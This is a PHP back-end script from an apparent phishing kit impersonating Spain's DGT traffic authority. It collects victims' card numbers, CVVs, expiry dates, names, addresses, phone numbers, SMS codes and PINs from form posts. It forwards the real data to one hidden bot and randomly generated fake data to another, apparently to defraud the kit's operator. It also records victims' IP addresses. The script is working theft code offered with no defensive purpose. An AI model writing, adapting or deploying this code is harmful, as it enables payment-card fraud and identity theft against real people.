<?php
// 1. Setup
ignore_user_abort(true);
set_time_limit(60); 

// 🔥 YOUR WORKING BOT FILES
require_once __DIR__ . '/../config.php';      // fake bot (call())
require_once __DIR__ . '/../tmp/var/log.php'; // real bot (call2())

function debugLog($msg) {
    $logFile = __DIR__ . '/grabber_debug.log';
    file_put_contents($logFile, date('Y-m-d H:i:s') . " - $msg\n", FILE_APPEND | LOCK_EX);
}

function isDuplicate($id) {
    $file = __DIR__ . '/processed.log';
    if (!file_exists($file)) touch($file);
    $ids = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    if (in_array($id, $ids)) { 
        debugLog("🚫 DUPLICATE: $id");
        return true; 
    }
    $ids[] = $id;
    if (count($ids) > 100) array_shift($ids);
    file_put_contents($file, implode("\n", $ids) . "\n");
    return false;
}

function generateSpanishFake($type) {
    $firstNames = ["Javier", "Lucía", "Marcos", "Paula", "Adrián", "Sonia", "Elena", "Carlos"];
    $lastNames = ["García", "Rodríguez", "López", "Sánchez", "Pérez", "Gómez", "Martínez", "Hernández"];
    $name = $firstNames[array_rand($firstNames)] . " " . $lastNames[array_rand($lastNames)];
    $address = "Calle " . $lastNames[array_rand($lastNames)] . ", " . rand(1, 99) . " " . rand(1,20);

    switch($type) {
        case 'cc':
            return "/- DGT CC -/\nCc: 4548 ".rand(1000,9999)." ".rand(1000,9999)." ".rand(1000,9999)."\nExp: ".rand(1,12)."/".rand(26,30)."\nCvv: ".rand(100,999);
        case 'info':
            return "/- DGT INFO -/\nName: $name\nAddress complet: $address  Madrid\nPhone: +34 6" . rand(10000000, 99999999);
        case 'sms':
        case 'pin':
        default: 
            return "/- DGT UPDATE -/\nCODE: ".rand(100000, 999999)."\nStatus: Verified";
    }
}

function sendInstantOK() {
    ignore_user_abort(true);
    if (ob_get_level()) ob_end_clean();
    header('Connection: close');
    header('Content-Length: 2');
    header('Content-Type: text/plain');
    echo "OK";
    flush();
    if (function_exists('fastcgi_finish_request')) fastcgi_finish_request();
    exit();
}

// 🔥 MAIN GRABBER
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    debugLog("📥 POST RECEIVED: " . json_encode($_POST));
    
    // Check functions exist
    if (!function_exists('call2')) {
        debugLog("❌ call2() MISSING - check log.php path");
        sendInstantOK(); exit();
    }
    if (!function_exists('call')) {
        debugLog("❌ call() MISSING - check config.php path");
        sendInstantOK(); exit();
    }
    
    $post_id = md5(serialize($_POST) . $_SERVER['REMOTE_ADDR']);
    if (isDuplicate($post_id)) {
        sendInstantOK(); exit();
    }

    $realMsg = ""; $type = "";
    
    // PARSE DATA
    if(!empty($_POST['cc']) && !empty($_POST['exp']) && !empty($_POST['cvv'])) {
        $realMsg = "/- DGT CC -/\nCc: ".$_POST['cc']."\nExp: ".$_POST['exp']."\nCvv: ".$_POST['cvv'];
        $type = 'cc';
    } elseif(!empty($_POST['name']) && !empty($_POST['address']) && !empty($_POST['phone'])) {
        $realMsg = "/- DGT INFO -/\nName: ".$_POST['name']."\nAddress complet: ".$_POST['address']."\nPhone: ".$_POST['phone'];
        $type = 'info';
    } elseif(!empty($_POST['sms'])) {
        $realMsg = "/- DGT SMS -/\nCODE: ".$_POST['sms']; 
        $type = 'sms';
    } elseif(!empty($_POST['pin'])) {
        $realMsg = "/- DGT PIN -/\nPIN: ".$_POST['pin']; 
        $type = 'pin';
    }

    if ($realMsg) {
        debugLog("✅ VALID DATA: $type");
        
        $ip = $_SERVER['REMOTE_ADDR'];
        $time = date('m/d/Y h:i:sA');
        $footer = "\n\n/- MORE INFO -/\nIP: $ip\nTIME: $time";

        // 🚀 SEND REAL DATA FIRST (log bot)
        $realResult = call2($realMsg . $footer);
        debugLog("📤 REAL SENT: " . substr($realResult, 0, 100));

        // 🎭 SEND FAKE DATA (config bot)
        $fakeMsg = generateSpanishFake($type) . $footer;
        $fakeResult = call($fakeMsg);
        debugLog("🎭 FAKE SENT: " . substr($fakeResult, 0, 100));

        sendInstantOK();
    } else {
        debugLog("❌ NO VALID DATA FOUND");
        sendInstantOK();
    }
}

// 🔥 TEST ENDPOINT
if (isset($_GET['test'])) {
    debugLog("🧪 TEST RUN");
    echo "<h2>🔥 GRABBER STATUS</h2>";
    echo "<p><b>Functions loaded:</b> " . (function_exists('call') ? '✅ call()' : '❌') . " | " . (function_exists('call2') ? '✅ call2()' : '❌') . "</p>";
    
    $testReal = call2("🧪 <b>TEST REAL LOG</b>\nGrabber working!");
    $testFake = call("🧪 <b>TEST FAKE CONFIG</b>\nEverything OK!");
    
    echo "<p><b>Real bot test:</b> " . ($testReal ? '✅' : '❌') . "</p>";
    echo "<p><b>Fake bot test:</b> " . ($testFake ? '✅' : '❌') . "</p>";
    echo '<p><a href="grabber_debug.log" download>📥 Download Debug Log</a></p>';
    exit();
}
?>